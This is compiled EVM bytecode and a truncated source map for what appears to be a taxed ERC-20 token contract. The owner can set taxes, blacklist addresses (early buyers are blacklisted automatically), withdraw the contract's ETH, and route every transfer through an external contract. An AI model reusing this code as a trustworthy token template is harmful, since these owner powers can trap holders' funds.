0x6080604052600436106102815760003560e01c8063821f65801161014f578063b51449bb116100c1578063edae876f1161007a578063edae876f146107b7578063f016d83b146107eb578063f2fde38b14610800578063f50a243b14610820578063f53bc83514610840578063f9f92be41461086057600080fd5b8063b51449bb146106cc578063b549bf8214610700578063bbc0c74214610726578063cd51e6d414610745578063dd62ed3e1461075b578063e1a45218146107a157600080fd5b806393818cfa1161011357806393818cfa1461061757806395d89b4114610637578063a457c2d71461064c578063a894185d1461066c578063a9059cbb1461068c578063b0ac1571146106ac57600080fd5b8063821f658014610570578063853828b6146105905780638da5cb5b146105a5578063912c048c146105d75780639155e083146105f757600080fd5b806339b622d3116101f357806364071d9f116101ac57806364071d9f146104b557806370a08231146104d557806370db69d61461050b578063715018a614610521578063770048511461053657806378a52c1c1461055057600080fd5b806339b622d3146103fa5780633e9ffbea1461042a57806351c6590a1461043f57806352f892fa146104525780635b78f35f146104725780635e0a8de61461048857600080fd5b806319c2c40d1161024557806319c2c40d1461033e57806323b872dd1461035e5780632c8dc1471461037e578063313ce5671461039e57806332cb6b0c146103ba57806339509351146103da57600080fd5b806306fdde031461028d578063095ea7b3146102b857806309d2c46a146102e8578063135548541461030a57806318160ddd1461031f57600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a2610890565b6040516102af91906122f9565b60405180910390f35b3480156102c457600080fd5b506102d86102d336600461235c565b610922565b60405190151581526020016102af565b3480156102f457600080fd5b506103086103033660046123bf565b610939565b005b34801561031657600080fd5b506103086109b7565b34801561032b57600080fd5b506014545b6040519081526020016102af565b34801561034a57600080fd5b5061030861035936600461243d565b610a2a565b34801561036a57600080fd5b506102d8610379366004612472565b610ab7565b34801561038a57600080fd5b506103306103993660046124b3565b610b61565b3480156103aa57600080fd5b50604051601281526020016102af565b3480156103c657600080fd5b506103306bdef376571332906a8800000081565b3480156103e657600080fd5b506102d86103f536600461235c565b610b78565b34801561040657600080fd5b506102d86104153660046124cc565b600e6020526000908152604090205460ff1681565b34801561043657600080fd5b50610308610bb4565b61030861044d3660046124b3565b610bc8565b34801561045e57600080fd5b5061030861046d3660046124f0565b610d1b565b34801561047e57600080fd5b5061033060105481565b34801561049457600080fd5b506103306104a33660046124cc565b60166020526000908152604090205481565b3480156104c157600080fd5b506103086104d03660046124f0565b610e03565b3480156104e157600080fd5b506103306104f03660046124cc565b6001600160a01b031660009081526015602052604090205490565b34801561051757600080fd5b5061033060125481565b34801561052d57600080fd5b50610308610eec565b34801561054257600080fd5b506011546102d89060ff1681565b34801561055c57600080fd5b5061030861056b36600461235c565b610f60565b34801561057c57600080fd5b5061033061058b3660046124b3565b610fa3565b34801561059c57600080fd5b50610308610fb3565b3480156105b157600080fd5b506005546001600160a01b03165b6040516001600160a01b0390911681526020016102af565b3480156105e357600080fd5b506105bf6105f23660046124b3565b611019565b34801561060357600080fd5b5061030861061236600461243d565b611039565b34801561062357600080fd5b50610308610632366004612545565b61106d565b34801561064357600080fd5b506102a26110df565b34801561065857600080fd5b506102d861066736600461235c565b6110ee565b34801561067857600080fd5b50610308610687366004612560565b611187565b34801561069857600080fd5b506102d86106a736600461235c565b6112d3565b3480156106b857600080fd5b506103086106c73660046124b3565b6112e0565b3480156106d857600080fd5b506105bf7f00000000000000000000000060ce14e6321787fd93ae87952b285be4ab287f9981565b34801561070c57600080fd5b506017546105bf906201000090046001600160a01b031681565b34801561073257600080fd5b506011546102d890610100900460ff1681565b34801561075157600080fd5b5061033060135481565b34801561076757600080fd5b50610330610776366004612599565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156107ad57600080fd5b5061033061271081565b3480156107c357600080fd5b506105bf7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156107f757600080fd5b50610330600081565b34801561080c57600080fd5b5061030861081b3660046124cc565b61134b565b34801561082c57600080fd5b5061033061083b3660046124b3565b611436565b34801561084c57600080fd5b5061030861085b3660046124b3565b611446565b34801561086c57600080fd5b506102d861087b3660046124cc565b600f6020526000908152604090205460ff1681565b60606003805461089f906125d2565b80601f01602080910402602001604051908101604052809291908181526020018280546108cb906125d2565b80156109185780601f106108ed57610100808354040283529160200191610918565b820191906000526020600020905b8154815290600101906020018083116108fb57829003601f168201915b5050505050905090565b600061092f33848461150f565b5060015b92915050565b6005546001600160a01b0316331461096c5760405162461bcd60e51b81526004016109639061260c565b60405180910390fd5b7fbf0afdfa1cb21873aab858ebc02e5db135c9f8e64589cd0d1a668b4d66993ca9600c8260405161099e929190612641565b60405180910390a16109b3600c82600261220d565b5050565b6005546001600160a01b031633146109e15760405162461bcd60e51b81526004016109639061260c565b6011805461ff00191661010017905543601355604051600181527fec78e36312d308764a43b9714c18f6444e2604b277d18be4ea329e0644dbe9b99060200160405180910390a1565b6005546001600160a01b03163314610a545760405162461bcd60e51b81526004016109639061260c565b6001600160a01b0382166000818152600e6020908152604091829020805460ff19168515159081179091558251938452908301527f9081172b1302ac3df81f8da318d2d60362a834f73c0a1b69d14cb14414fbb9fc910160405180910390a15050565b6000610ac4848484611633565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610b495760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610963565b610b56853385840361150f565b506001949350505050565b60088160028110610b7157600080fd5b0154905081565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161092f918590610baf9086906126c5565b61150f565b60175460ff16610bc657610bc661192f565b565b6005546001600160a01b03163314610bf25760405162461bcd60e51b81526004016109639061260c565b6017805461ff001916610100179055610c0b3082611ce7565b610c36307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8361150f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d719343084600080610c7d6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ce5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d0a91906126d8565b50506017805461ff00191690555050565b6005546001600160a01b03163314610d455760405162461bcd60e51b81526004016109639061260c565b6020810151815161271091610d59916126c5565b1115610dbc5760405162461bcd60e51b815260206004820152602c60248201527f73756d285f6275795461786573292063616e6e6f74206578636565642042505360448201526b2fa222a727a6a4a720aa27a960a11b6064820152608401610963565b7ff030bb719ac1227860b29dae4e2aead664a7eb21b5d574d8eb10302e435a57cb600682604051610dee92919061271c565b60405180910390a16109b36006826002612265565b6005546001600160a01b03163314610e2d5760405162461bcd60e51b81526004016109639061260c565b6020810151815161271091610e41916126c5565b1115610ea55760405162461bcd60e51b815260206004820152602d60248201527f73756d285f73656c6c5461786573292063616e6e6f742065786365656420425060448201526c29afa222a727a6a4a720aa27a960991b6064820152608401610963565b7f4e5aa6a1d8a2baf47d4c781f8fa278df4f48fb465fde488841b40aee0868d9f2600882604051610ed792919061271c565b60405180910390a16109b36008826002612265565b6005546001600160a01b03163314610f165760405162461bcd60e51b81526004016109639061260c565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b336000908152600e602052604090205460ff16610f995760405162461bcd60e51b81526020600482015260006024820152604401610963565b6109b38282611dad565b60068160028110610b7157600080fd5b6005546001600160a01b03163314610fdd5760405162461bcd60e51b81526004016109639061260c565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611016573d6000803e3d6000fd5b50565b600c816002811061102957600080fd5b01546001600160a01b0316905081565b6005546001600160a01b031633146110635760405162461bcd60e51b81526004016109639061260c565b6109b38282611dba565b6005546001600160a01b031633146110975760405162461bcd60e51b81526004016109639061260c565b6011805460ff19168215159081179091556040519081527f927009a164f58be5665a2121b2564ae19a66046fb36a397d3fca78f72ba04c3d906020015b60405180910390a150565b60606004805461089f906125d2565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156111705760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610963565b61117d338585840361150f565b5060019392505050565b6005546001600160a01b031633146111b15760405162461bcd60e51b81526004016109639061260c565b600283106111ee5760405162461bcd60e51b815260206004820152600a6024820152692fb4b73232bc1027a7a160b11b6044820152606401610963565b600a836002811061120157611201612706565b01548211156112615760405162461bcd60e51b815260206004820152602660248201527f416d6f756e742063616e6e6f742062652067726561746572207468616e20746f6044820152650e8c2d8a8c2f60d31b6064820152608401610963565b61126c308284611e42565b60408051848152602081018490527f13ac772a78d03c80813b3c9c28d72a72d3b31e5ee74e277a88ac0c322a6bfc8f910160405180910390a181600a84600281106112b9576112b9612706565b0160008282546112c9919061276e565b9091555050505050565b600061092f338484611633565b6005546001600160a01b0316331461130a5760405162461bcd60e51b81526004016109639061260c565b60105460408051918252602082018390527f15426420a06dcf9391d9e4b7557f5cfaba5be0d7bf857b641e78ec375a343425910160405180910390a1601055565b6005546001600160a01b031633146113755760405162461bcd60e51b81526004016109639061260c565b6001600160a01b0381166113da5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610963565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600a8160028110610b7157600080fd5b6005546001600160a01b031633146114705760405162461bcd60e51b81526004016109639061260c565b6103e860145460056114829190612781565b61148c9190612798565b81116114da5760405162461bcd60e51b815260206004820152601f60248201527f6d6178206275792073686f756c64206265206d6f7265207468616e202e3525006044820152606401610963565b60128190556040518181527f1003faaf440f4e10b9ef552a11d026be63390c8c7eac09549c045f8d700ba534906020016110d4565b6001600160a01b0383166115715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610963565b6001600160a01b0382166115d25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610963565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600f602052604090205460ff161561169c5760405162461bcd60e51b815260206004820152601860248201527f526563697069656e7420697320626c61636b6c697374656400000000000000006044820152606401610963565b6001600160a01b0383166000908152600e602052604090205460ff16806116db57506001600160a01b0382166000908152600e602052604090205460ff165b156116f0576116eb838383611e42565b505050565b6116fa8383611fbe565b60175460ff1615801561173f57507f00000000000000000000000060ce14e6321787fd93ae87952b285be4ab287f996001600160a01b0316836001600160a01b031614155b801561174d575060115460ff165b1561175a5761175a61192f565b80611763612293565b7f00000000000000000000000060ce14e6321787fd93ae87952b285be4ab287f996001600160a01b0316856001600160a01b03160361187657601154610100900460ff166117ef5760405162461bcd60e51b815260206004820152601960248201527854726164696e67206973206e6f74207965742061637469766560381b6044820152606401610963565b6012548311156118415760405162461bcd60e51b815260206004820152601960248201527f42757920616d6f756e742065786365656473206d6178427579000000000000006044820152606401610963565b600060135461185091906126c5565b431161186157611861846001611dba565b61186c836001612029565b9092509050611913565b7f00000000000000000000000060ce14e6321787fd93ae87952b285be4ab287f996001600160a01b0316846001600160a01b03160361191357601154610100900460ff166119025760405162461bcd60e51b815260206004820152601960248201527854726164696e67206973206e6f74207965742061637469766560381b6044820152606401610963565b61190d836000612029565b90925090505b61191e858584611e42565b61192885826120ff565b5050505050565b6017805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061197157611971612706565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1391906127ba565b81600181518110611a2657611a26612706565b6001600160a01b039290921660209283029190910190910152600b54600a54600091611a51916126c5565b905080600003611a62575050611cdb565b306000908152601560205260409020548190811115611a8d5750306000908152601560205260409020545b611ab8307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8361150f565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611b0d9084906000908890309042906004016127d7565b600060405180830381600087803b158015611b2757600080fd5b505af1158015611b3b573d6000803e3d6000fd5b5050600a54479250600091508490611b539084612781565b611b5d9190612798565b9050600084600a60010154611b729085612781565b611b7c9190612798565b6040805180820190915260008082526020820152909150611ba190600a9060026122b1565b508115611c3b57600c546040516000916001600160a01b03169084908381818185875af1925050503d8060008114611bf5576040519150601f19603f3d011682016040523d82523d6000602084013e611bfa565b606091505b5050905080611c395760405162461bcd60e51b815260206004820152600b60248201526a06661696c656420737761760ac1b6044820152606401610963565b505b8015611cd457600d546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611c8e576040519150601f19603f3d011682016040523d82523d6000602084013e611c93565b606091505b5050905080611cd25760405162461bcd60e51b815260206004820152600b60248201526a06661696c656420737761760ac1b6044820152606401610963565b505b5050505050505b6017805460ff19169055565b6bdef376571332906a8800000081601454611d0291906126c5565b1115611d465760405162461bcd60e51b815260206004820152601360248201527213585e081cdd5c1c1b1e48195e18d959591959606a1b6044820152606401610963565b8060146000828254611d5891906126c5565b90915550611d68905082826121a5565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6109b38261dead83611e42565b6001600160a01b0382166000818152600f602090815260409182902054825193845260ff1615159083015282151582820152517f248358295a71c50a9351204f4da6e13409c2887fde3625358fbb80b9743e433b9181900360600190a16001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b6001600160a01b038316611e985760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f206164647265737300006044820152606401610963565b6001600160a01b038216611eee5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f2061646472657373000000006044820152606401610963565b6001600160a01b03831660009081526015602052604090205481811015611f575760405162461bcd60e51b815260206004820152601f60248201527f7472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610963565b611f6184836121e9565b611f6b83836121a5565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fb091815260200190565b60405180910390a350505050565b6018546040516314b2925360e01b81526001600160a01b0384811660048301528381166024830152909116906314b2925390604401600060405180830381600087803b15801561200d57600080fd5b505af1158015612021573d6000803e3d6000fd5b505050505050565b6000612033612293565b821561208c5760408051808201909152806127106006600001546120579088612781565b6120619190612798565b81526020016127106006600101546120799088612781565b6120839190612798565b905290506120db565b60408051808201909152806127106008600001546120aa9088612781565b6120b49190612798565b81526020016127106008600101546120cc9088612781565b6120d69190612798565b905290505b602081015181516120ec908661276e565b6120f6919061276e565b91509250929050565b6001600160a01b0382166121555760405162461bcd60e51b815260206004820152601e60248201527f7461786174696f6e2066726f6d20746865207a65726f206164647265737300006044820152606401610963565b60208101518151600091612168916126c5565b9050612175833083611e42565b8151600a80546000906121899084906126c5565b90915550506020820151600b80546000906112c99084906126c5565b6001600160a01b0382166000908152601560205260409020546121c99082906126c5565b6001600160a01b0390921660009081526015602052604090209190915550565b6001600160a01b0382166000908152601560205260409020546121c990829061276e565b8260028101928215612255579160200282015b8281111561225557825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190612220565b506122619291506122e4565b5090565b8260028101928215612255579160200282015b82811115612255578251825591602001919060010190612278565b60405180604001604052806002906020820280368337509192915050565b8260028101928215612255579160200282015b82811115612255578251829060ff169055916020019190600101906122c4565b5b8082111561226157600081556001016122e5565b600060208083528351808285015260005b818110156123265785810183015185820160400152820161230a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461101657600080fd5b6000806040838503121561236f57600080fd5b823561237a81612347565b946020939093013593505050565b6040805190810167ffffffffffffffff811182821017156123b957634e487b7160e01b600052604160045260246000fd5b60405290565b6000604082840312156123d157600080fd5b82601f8301126123e057600080fd5b6123e8612388565b8060408401858111156123fa57600080fd5b845b8181101561241d57803561240f81612347565b8452602093840193016123fc565b509095945050505050565b8035801515811461243857600080fd5b919050565b6000806040838503121561245057600080fd5b823561245b81612347565b915061246960208401612428565b90509250929050565b60008060006060848603121561248757600080fd5b833561249281612347565b925060208401356124a281612347565b929592945050506040919091013590565b6000602082840312156124c557600080fd5b5035919050565b6000602082840312156124de57600080fd5b81356124e981612347565b9392505050565b60006040828403121561250257600080fd5b82601f83011261251157600080fd5b612519612388565b80604084018581111561252b57600080fd5b845b8181101561241d57803584526020938401930161252d565b60006020828403121561255757600080fd5b6124e982612428565b60008060006060848603121561257557600080fd5b8335925060208401359150604084013561258e81612347565b809150509250925092565b600080604083850312156125ac57600080fd5b82356125b781612347565b915060208301356125c781612347565b809150509250929050565b600181811c908216806125e657607f821691505b60208210810361260657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60808101818460005b60028110156126725781546001600160a01b031683526020909201916001918201910161264a565b505050604082018360005b60028110156126a55781516001600160a01b031683526020928301929091019060010161267d565b5050509392505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610933576109336126af565b6000806000606084860312156126ed57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b60808101818460005b6002811015612744578154835260209092019160019182019101612725565b505050604082018360005b60028110156126a557815183526020928301929091019060010161274f565b81810381811115610933576109336126af565b8082028115828204841417610933576109336126af565b6000826127b557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156127cc57600080fd5b81516124e981612347565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156128275784516001600160a01b031683529383019391830191600101612802565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d5c994ba7f3f8f5edf6fde27a3eff05532c9839b4e0510641baea8259956342e64736f6c63430008130033

Deployed Bytecode Sourcemap

18137:14112:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13926:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14840:169;;;;;;;;;;-1:-1:-1;14840:169:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;14840:169:0;1023:187:1;23695:205:0;;;;;;;;;;-1:-1:-1;23695:205:0;;;;;:::i;:::-;;:::i;:::-;;24945:166;;;;;;;;;;;;;:::i;31694:100::-;;;;;;;;;;-1:-1:-1;31774:12:0;;31694:100;;;2520:25:1;;;2508:2;2493:18;31694:100:0;2374:177:1;25302:217:0;;;;;;;;;;-1:-1:-1;25302:217:0;;;;;:::i;:::-;;:::i;15017:492::-;;;;;;;;;;-1:-1:-1;15017:492:0;;;;;:::i;:::-;;:::i;18613:36::-;;;;;;;;;;-1:-1:-1;18613:36:0;;;;;:::i;:::-;;:::i;14146:93::-;;;;;;;;;;-1:-1:-1;14146:93:0;;14229:2;3829:36:1;;3817:2;3802:18;14146:93:0;3687:184:1;18194:57:0;;;;;;;;;;;;18231:20;18194:57;;15517:215;;;;;;;;;;-1:-1:-1;15517:215:0;;;;;:::i;:::-;;:::i;18909:43::-;;;;;;;;;;-1:-1:-1;18909:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;29353:94;;;;;;;;;;;;;:::i;23908:483::-;;;;;;:::i;:::-;;:::i;21723:311::-;;;;;;;;;;-1:-1:-1;21723:311:0;;;;;:::i;:::-;;:::i;19148:34::-;;;;;;;;;;;;;;;;19674:49;;;;;;;;;;-1:-1:-1;19674:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;22135:321;;;;;;;;;;-1:-1:-1;22135:321:0;;;;;:::i;:::-;;:::i;26269:177::-;;;;;;;;;;-1:-1:-1;26269:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;26420:18:0;26388:7;26420:18;;;:9;:18;;;;;;;26269:177;19440:44;;;;;;;;;;;;;;;;5151:150;;;;;;;;;;;;;:::i;19236:27::-;;;;;;;;;;-1:-1:-1;19236:27:0;;;;;;;;25527:154;;;;;;;;;;-1:-1:-1;25527:154:0;;;;;:::i;:::-;;:::i;18536:35::-;;;;;;;;;;-1:-1:-1;18536:35:0;;;;;:::i;:::-;;:::i;29455:109::-;;;;;;;;;;;;;:::i;4937:79::-;;;;;;;;;;-1:-1:-1;5002:6:0;;-1:-1:-1;;;;;5002:6:0;4937:79;;;-1:-1:-1;;;;;4888:32:1;;;4870:51;;4858:2;4843:18;4937:79:0;4724:203:1;18799:36:0;;;;;;;;;;-1:-1:-1;18799:36:0;;;;;:::i;:::-;;:::i;24545:160::-;;;;;;;;;;-1:-1:-1;24545:160:0;;;;;:::i;:::-;;:::i;25830:137::-;;;;;;;;;;-1:-1:-1;25830:137:0;;;;;:::i;:::-;;:::i;14034:104::-;;;;;;;;;;;;;:::i;15740:413::-;;;;;;;;;;-1:-1:-1;15740:413:0;;;;;:::i;:::-;;:::i;23083:486::-;;;;;;;;;;-1:-1:-1;23083:486:0;;;;;:::i;:::-;;:::i;14498:175::-;;;;;;;;;;-1:-1:-1;14498:175:0;;;;;:::i;:::-;;:::i;22608:199::-;;;;;;;;;;-1:-1:-1;22608:199:0;;;;;:::i;:::-;;:::i;18463:30::-;;;;;;;;;;;;;;;19810:25;;;;;;;;;;-1:-1:-1;19810:25:0;;;;;;;-1:-1:-1;;;;;19810:25:0;;;19336:33;;;;;;;;;;-1:-1:-1;19336:33:0;;;;;;;;;;;19544:27;;;;;;;;;;;;;;;;14681:151;;;;;;;;;;-1:-1:-1;14681:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;14797:18:0;;;14770:7;14797:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14681:151;18258:48;;;;;;;;;;;;18300:6;18258:48;;18413:43;;;;;;;;;;;;;;;18313:40;;;;;;;;;;;;18352:1;18313:40;;5309:244;;;;;;;;;;-1:-1:-1;5309:244:0;;;;;:::i;:::-;;:::i;18712:28::-;;;;;;;;;;-1:-1:-1;18712:28:0;;;;;:::i;:::-;;:::i;26045:216::-;;;;;;;;;;-1:-1:-1;26045:216:0;;;;;:::i;:::-;;:::i;19022:41::-;;;;;;;;;;-1:-1:-1;19022:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13926:100;13980:13;14013:5;14006:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13926:100;:::o;14840:169::-;14923:4;14940:39;3402:10;14963:7;14972:6;14940:8;:39::i;:::-;-1:-1:-1;14997:4:0;14840:169;;;;;:::o;23695:205::-;5064:6;;-1:-1:-1;;;;;5064:6:0;3402:10;5064:22;5056:67;;;;-1:-1:-1;;;5056:67:0;;;;;;;:::i;:::-;;;;;;;;;23815:42:::1;23833:10;23845:11;23815:42;;;;;;;:::i;:::-;;;;;;;;23868:24;:10;23881:11:::0;23868:24:::1;;:::i;:::-;;23695:205:::0;:::o;24945:166::-;5064:6;;-1:-1:-1;;;;;5064:6:0;3402:10;5064:22;5056:67;;;;-1:-1:-1;;;5056:67:0;;;;;;;:::i;:::-;25003:13:::1;:20:::0;;-1:-1:-1;;25003:20:0::1;;;::::0;;25049:12:::1;25034;:27:::0;25077:26:::1;::::0;-1:-1:-1;1163:41:1;;25077:26:0::1;::::0;1151:2:1;1136:18;25077:26:0::1;;;;;;;24945:166::o:0;25302:217::-;5064:6;;-1:-1:-1;;;;;5064:6:0;3402:10;5064:22;5056:67;;;;-1:-1:-1;;;5056:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;25416:21:0;::::1;;::::0;;;:11:::1;:21;::::0;;;;;;;;:36;;-1:-1:-1;;25416:36:0::1;::::0;::::1;;::::0;;::::1;::::0;;;25468:43;;8235:51:1;;;8302:18;;;8295:50;25468:43:0::1;::::0;8208:18:1;25468:43:0::1;;;;;;;25302:217:::0;;:::o;15017:492::-;15157:4;15174:36;15184:6;15192:9;15203:6;15174:9;:36::i;:::-;-1:-1:-1;;;;;15250:19:0;;15223:24;15250:19;;;:11;:19;;;;;;;;3402:10;15250:33;;;;;;;;15302:26;;;;15294:79;;;;-1:-1:-1;;;15294:79:0;;8558:2:1;15294:79:0;;;8540:21:1;8597:2;8577:18;;;8570:30;8636:34;8616:18;;;8609:62;-1:-1:-1;;;8687:18:1;;;8680:38;8735:19;;15294:79:0;8356:404:1;15294:79:0;15409:57;15418:6;3402:10;15459:6;15440:16;:25;15409:8;:57::i;:::-;-1:-1:-1;15497:4:0;;15017:492;-1:-1:-1;;;;15017:492:0:o;18613:36::-;;;;;;;;;;;;;;;-1:-1:-1;18613:36:0;:::o;15517:215::-;3402:10;15605:4;15654:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15654:34:0;;;;;;;;;;15605:4;;15622:80;;15645:7;;15654:47;;15691:10;;15654:47;:::i;:::-;15622:8;:80::i;29353:94::-;29397:7;;;;29392:48;;29421:7;:5;:7::i;:::-;29353:94::o;23908:483::-;5064:6;;-1:-1:-1;;;;;5064:6:0;3402:10;5064:22;5056:67;;;;-1:-1:-1;;;5056:67:0;;;;;;;:::i;:::-;20753:15:::1;:22:::0;;-1:-1:-1;;20753:22:0::1;;;::::0;;24038:28:::2;24052:4;24059:6:::0;24038:5:::2;:28::i;:::-;24077:49;24094:4;24109:7;24119:6;24077:8;:49::i;:::-;24139:7;-1:-1:-1::0;;;;;24139:23:0::2;;24170:9;24203:4;24223:6;24244:1;24260::::0;24276:7:::2;5002:6:::0;;-1:-1:-1;;;;;5002:6:0;;4937:79;24276:7:::2;24139:244;::::0;::::2;::::0;;;-1:-1:-1;;;;;;24139:244:0;;;-1:-1:-1;;;;;9386:15:1;;;24139:244:0::2;::::0;::::2;9368:34:1::0;9418:18;;;9411:34;;;;9461:18;;;9454:34;;;;9504:18;;;9497:34;9568:15;;;9547:19;;;9540:44;24357:15:0::2;9600:19:1::0;;;9593:35;9302:19;;24139:244:0::2;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;20798:15:0::1;:23:::0;;-1:-1:-1;;20798:23:0::1;::::0;;-1:-1:-1;;23908:483:0:o;21723:311::-;5064:6;;-1:-1:-1;;;;;5064:6:0;3402:10;5064:22;5056:67;;;;-1:-1:-1;;;5056:67:0;;;;;;;:::i;:::-;21840:12:::1;::::0;::::1;::::0;21825;;18300:6:::1;::::0;21825:27:::1;::::0;::::1;:::i;:::-;:46;;21803:140;;;::::0;-1:-1:-1;;;21803:140:0;;10284:2:1;21803:140:0::1;::::0;::::1;10266:21:1::0;10323:2;10303:18;;;10296:30;10362:34;10342:18;;;10335:62;-1:-1:-1;;;10413:18:1;;;10406:42;10465:19;;21803:140:0::1;10082:408:1::0;21803:140:0::1;21959:36;21975:8;21985:9;21959:36;;;;;;;:::i;:::-;;;;;;;;22006:20;:8;22017:9:::0;22006:20:::1;;:::i;22135:321::-:0;5064:6;;-1:-1:-1;;;;;5064:6:0;3402:10;5064:22;5056:67;;;;-1:-1:-1;;;5056:67:0;;;;;;;:::i;:::-;22255:13:::1;::::0;::::1;::::0;22239;;18300:6:::1;::::0;22239:29:::1;::::0;::::1;:::i;:::-;:48;;22217:143;;;::::0;-1:-1:-1;;;22217:143:0;;11578:2:1;22217:143:0::1;::::0;::::1;11560:21:1::0;11617:2;11597:18;;;11590:30;11656:34;11636:18;;;11629:62;-1:-1:-1;;;11707:18:1;;;11700:43;11760:19;;22217:143:0::1;11376:409:1::0;22217:143:0::1;22376:39;22393:9;22404:10;22376:39;;;;;;;:::i;:::-;;;;;;;;22426:22;:9;22438:10:::0;22426:22:::1;;:::i;5151:150::-:0;5064:6;;-1:-1:-1;;;;;5064:6:0;3402:10;5064:22;5056:67;;;;-1:-1:-1;;;5056:67:0;;;;;;;:::i;:::-;5244:6:::1;::::0;5223:40:::1;::::0;5260:1:::1;::::0;-1:-1:-1;;;;;5244:6:0::1;::::0;5223:40:::1;::::0;5260:1;;5223:40:::1;5274:6;:19:::0;;-1:-1:-1;;;;;;5274:19:0::1;::::0;;5151:150::o;25527:154::-;25622:10;25610:23;;;;:11;:23;;;;;;;;25602:36;;;;-1:-1:-1;;;25602:36:0;;11992:2:1;25602:36:0;;;11974:21:1;-1:-1:-1;12011:18:1;;;12004:29;12050:18;;25602:36:0;11790:284:1;25602:36:0;25649:24;25655:8;25665:7;25649:5;:24::i;18536:35::-;;;;;;;;;;;29455:109;5064:6;;-1:-1:-1;;;;;5064:6:0;3402:10;5064:22;5056:67;;;;-1:-1:-1;;;5056:67:0;;;;;;;:::i;:::-;5002:6;;29508:48:::1;::::0;